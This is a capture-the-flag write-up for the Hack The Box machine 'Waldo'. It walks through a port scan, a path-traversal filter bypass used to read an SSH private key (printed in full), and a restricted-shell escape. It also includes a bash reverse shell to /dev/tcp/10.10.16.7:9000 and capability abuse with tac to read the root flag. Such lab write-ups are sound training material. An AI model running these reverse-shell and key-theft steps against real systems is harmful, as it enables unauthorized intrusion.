Waldo - Hack The Box
Reconnaissance
- Nmap
❯ nmap -sS --open -p- --min-rate 5000 -n -Pn 10.10.10.87
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-10 13:21 CEST
Nmap scan report for 10.10.10.87
Host is up (0.36s latency).
Not shown: 37409 closed tcp ports (reset), 28124 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 23.68 seconds
- Find all path files
- Check php code
This script replace only two path traversal “..\/" and “..\", so we can try to bypass it.
Exploitation
- LFI (Local File Inclusion) - Filter Bypass
- Get ssh private key via LFI
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAs7sytDE++NHaWB9e+NN3V5t1DP1TYHc+4o8D362l5Nwf6Cpl
mR4JH6n4Nccdm1ZU+qB77li8ZOvymBtIEY4Fm07X4Pqt4zeNBfqKWkOcyV1TLW6f
87s0FZBhYAizGrNNeLLhB1IZIjpDVJUbSXG6s2cxAle14cj+pnEiRTsyMiq1nJCS
dGCc/gNpW/AANIN4vW9KslLqiAEDJfchY55sCJ5162Y9+I1xzqF8e9b12wVXirvN
o8PLGnFJVw6SHhmPJsue9vjAIeH+n+5Xkbc8/6pceowqs9ujRkNzH9T1lJq4Fx1V
vi93Daq3bZ3dhIIWaWafmqzg+jSThSWOIwR73wIDAQABAoIBADHwl/wdmuPEW6kU
vmzhRU3gcjuzwBET0TNejbL/KxNWXr9B2I0dHWfg8Ijw1Lcu29nv8b+ehGp+bR/6
pKHMFp66350xylNSQishHIRMOSpydgQvst4kbCp5vbTTdgC7RZF+EqzYEQfDrKW5
8KUNptTmnWWLPYyJLsjMsrsN4bqyT3vrkTykJ9iGU2RrKGxrndCAC9exgruevj3q
1h+7o8kGEpmKnEOgUgEJrN69hxYHfbeJ0Wlll8Wort9yummox/05qoOBL4kQxUM7
VxI2Ywu46+QTzTMeOKJoyLCGLyxDkg5ONdfDPBW3w8O6UlVfkv467M3ZB5ye8GeS
dVa3yLECgYEA7jk51MvUGSIFF6GkXsNb/w2cZGe9TiXBWUqWEEig0bmQQVx2ZWWO
v0og0X/iROXAcp6Z9WGpIc6FhVgJd/4bNlTR+A/lWQwFt1b6l03xdsyaIyIWi9xr
xsb2sLNWP56A/5TWTpOkfDbGCQrqHvukWSHlYFOzgQa0ZtMnV71ykH0CgYEAwSSY
qFfdAWrvVZjp26Yf/jnZavLCAC5hmho7eX5isCVcX86MHqpEYAFCecZN2dFFoPqI
yzHzgb9N6Z01YUEKqrknO3tA6JYJ9ojaMF8GZWvUtPzN41ksnD4MwETBEd4bUaH1
/pAcw/+/oYsh4BwkKnVHkNw36c+WmNoaX1FWqIsCgYBYw/IMnLa3drm3CIAa32iU
LRotP4qGaAMXpncsMiPage6CrFVhiuoZ1SFNbv189q8zBm4PxQgklLOj8B33HDQ/
lnN2n1WyTIyEuGA/qMdkoPB+TuFf1A5EzzZ0uR5WLlWa5nbEaLdNoYtBK1P5n4Kp
w7uYnRex6DGobt2mD+10cQKBgGVQlyune20k9QsHvZTU3e9z1RL+6LlDmztFC3G9
1HLmBkDTjjj/xAJAZuiOF4Rs/INnKJ6+QygKfApRxxCPF9NacLQJAZGAMxW50AqT
rj1BhUCzZCUgQABtpC6vYj/HLLlzpiC05AIEhDdvToPK/0WuY64fds0VccAYmMDr
X/PlAoGAS6UhbCm5TWZhtL/hdprOfar3QkXwZ5xvaykB90XgIps5CwUGCCsvwQf2
DvVny8gKbM/OenwHnTlwRTEj5qdeAM40oj/mwCDc6kpV1lJXrW2R5mCH9zgbNFla
W0iKCBUAm5xZgU/YskMsCBMNmA8A5ndRWGFEFE+VGDVPaRie0ro=
-----END RSA PRIVATE KEY-----
- Connect to ssh with private key
❯ chmod 600 id_rsa
❯ ssh -i id_rsa nobody@10.10.10.87
Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$ whoami
nobody
Post-exploitation
- Check internal listen ports
waldo:/$ netstat -lnt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:8888 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN
- Check authorized_keys file
waldo:~/.ssh$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzuzK0MT740dpYH17403dXm3UM/VNgdz7ijwPfraXk3B/oKmWZHgkfqfg1xx2bVlT6oHvuWLxk6/KYG0gRjgWbTtfg+q3jN40F+opaQ5zJXVMtbp/zuzQVkGFgCLMas014suEHUhkiOkNUlRtJcbqzZzECV7XhyP6mcSJFOzIyKrWckJJ0YJz+A2lb8AA0g3i9b0qyUuqIAQMl9yFjnmwInnXrZj34jXHOoXx71vXbBVeKu82jw8sacUlXDpIeGY8my572+MAh4f6f7leRtzz/qlx6jCqz26NGQ3Mf1PWUmrgXHVW+L3cNqrdtnd2EghZpZp+arOD6NJOFJY4jBHvf monitor@waldowaldo:~/.ssh$
This key is valid for monitor user, so maybe the port 8888 is a ssh service
- Connect internal ssh with monitor private key
waldo:~/.ssh$ ssh monitor@localhost -i .monitor
Linux waldo 4.19.0-25-amd64 #1 SMP Debian 4.19.289-2 (2023-08-08) x86_64
&.
@@@,@@/ %
#*/%@@@@/.&@@,
@@@#@@#&@#&#&@@@,*%/
/@@@&###########@@&*(*
(@################%@@@@@. /**
@@@@&#############%@@@@@@@@@@@@@@@@@@@@@@@@%((/
%@@@@%##########&@@@.... .#%#@@@@@@@#
@@&%#########@@@@/ */@@@%(((@@@%
@@@#%@@%@@@, *&@@@&%(((#((((@@(
/(@@@@@@@ *&@@@@%((((((((((((#@@(
%/#@@@/@ @#/@ ..@@@@%(((((((((((#((#@@@@@@@@@@@@&#,
%@*(@#%@., /@@@@&(((((((((((((((&@@@@@@&#######%%@@@@# &
*@@@@@# .&@@@#(((#(#((((((((#%@@@@@%###&@@@@@@@@@&%##&@@@@@@/
/@@ #@@@&#(((((((((((#((@@@@@%%%%@@@@%#########%&@@@@@@@@&
*@@ *%@@@@#((((((((((((((#@@@@@@@@@@%####%@@@@@@@@@@@@###&@@@@@@@&
%@/ .&%@@%#(((((((((((((((#@@@@@@@&#####%@@@%#############%@@@&%##&@@/
@@@@@@%(((((((((((##(((@@@@&%####%@@@%#####&@@@@@@@@@@@@@@@&##&@@@@@@@@@/
@@@&(((#((((((((((((#@@@@@&@@@@######@@@###################&@@@&#####%@@*
@@#(((((((((((((#@@@@%&@@.,,.*@@@%#####@@@@@@@@@@@@@@@@@@@%####%@@@@@@@@@@
*@@%((((((((#@@@@@@@%#&@@,,.,,.&@@@#####################%@@@@@@%######&@@.
@@@#(#&@@@@@&##&@@@&#@@/,,,,,,,,@@@&######&@@@@@@@@&&%######%@@@@@@@@@@@
@@@@@@&%&@@@%#&@%%@@@@/,,,,,,,,,,/@@@@@@@#/,,.*&@@%&@@@@@@&%#####%@@@@.
.@@@###&@@@%%@(,,,%@&,.,,,,,,,,,,,,,.*&@@@@&(,*@&#@%%@@@@@@@@@@@@*
@@%##%@@/@@@%/@@@@@@@@@#,,,,.../@@@@@%#%&@@@@(&@&@&@@@@(
.@@&##@@,,/@@@@&(. .&@@@&,,,.&@@/ #@@%@@@@@&@@@/
*@@@@@&@@.*@@@ %@@@*,&@@ *@@@@@&.#/,@/
*@@&*#@@@@@@@& #@( .@@@@@@& ,@@@, @@@@@(,@/@@
*@@/@#.#@@@@@/ %@@@, .@@&%@@@ &@& @@*@@*(@@#
(@@/@,,@@&@@@ &@@,,(@@& .@@%/@@,@@
/@@@*,@@,@@@* @@@,,,,,@@@@. *@@@%,@@**@#
%@@.%@&,(@@@@, /&@@@@,,,,,,,%@@@@@@@@@@%,,*@@,#@,
,@@,&@,,,,(@@@@@@@(,,,,,.,,,,,,,,**,,,,,,.*@/,&@
&@,*@@.,,,,,..,,,,&@@%/**/@@*,,,,,&(.,,,.@@,,@@
/@%,&@/,,,,/@%,,,,,*&@@@@@#.,,,,,.@@@(,,(@@@@@(
@@*,@@,,,#@@@&*..,,,,,,,,,,,,/@@@@,*(,,&@/#*
*@@@@@(,,@*,%@@@@@@@&&#%@@@@@@@/,,,,,,,@@
@@*,,,,,,,,,.*/(//*,..,,,,,,,,,,,&@,
@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
&@&,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#
%@(,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
,@@,,,,,,,,@@@&&&%&@,,,,,..,,@@,
*@@,,,,,,,.,****,..,,,,,,,,&@@
(@(,,,.,,,,,,,,,,,,,,.,,,/@@
.@@,,,,,,,,,,,,,...,,,,,,@@
,@@@,,,,,,,,,,,,,,,,.(@@@
%@@@@&(,,,,*(#&@@@@@@,
Here's Waldo, where's root?
Last login: Wed Jun 11 08:45:29 2025 from 127.0.0.1
-rbash: alias: command not found
It is a restricted bash
- Bypass restricted bash
waldo:~/.ssh$ ssh monitor@localhost -i .monitor bash
whoami
monitor
bash -c 'bash -i >& /dev/tcp/10.10.16.7/9000 0>&1'
nc -nlvp 9000
- Check capabilities
monitor@waldo:~$ export PATH=/root/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
monitor@waldo:~$ getcap -r / 2>/dev/null
/bin/ping = cap_net_raw+ep
/usr/bin/tac = cap_dac_read_search+ei
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei
- See root flag with /usr/bin/tac
monitor@waldo:/tmp$ tac /root/root.txt
cda4d2dd24cce80ec65bd147fbc5e8be
